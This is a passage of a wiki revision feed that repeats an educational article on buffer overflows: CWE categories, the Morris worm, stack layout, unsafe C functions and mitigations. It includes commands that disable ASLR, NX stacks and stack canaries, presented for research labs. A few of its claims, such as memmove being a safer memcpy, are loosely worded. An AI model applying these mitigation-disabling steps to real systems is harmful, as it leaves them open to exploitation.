* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16965</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16965"/>
		<updated>2024-12-11T11:26:52Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Technical Background and Context */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the return address (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; (stored in EIP) is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially overwriting the return address. An attacker may overwrite the return pointer to redirect the flow of execution.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16962</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16962"/>
		<updated>2024-12-11T11:25:01Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* The Stack and Important Control Structures */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stack section&#039;&#039;&#039; - temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* &#039;&#039;&#039;Heap section&#039;&#039;&#039; - memory that is dynamically allocated during program run time&lt;br /&gt;
* &#039;&#039;&#039;Data section&#039;&#039;&#039; - global variables (initialized and uninitialized)&lt;br /&gt;
* &#039;&#039;&#039;Code/Text section&#039;&#039;&#039; - the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the return address (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; (stored in EIP) is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially overwriting the return address. An attacker may overwrite the return pointer to redirect the flow of execution.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
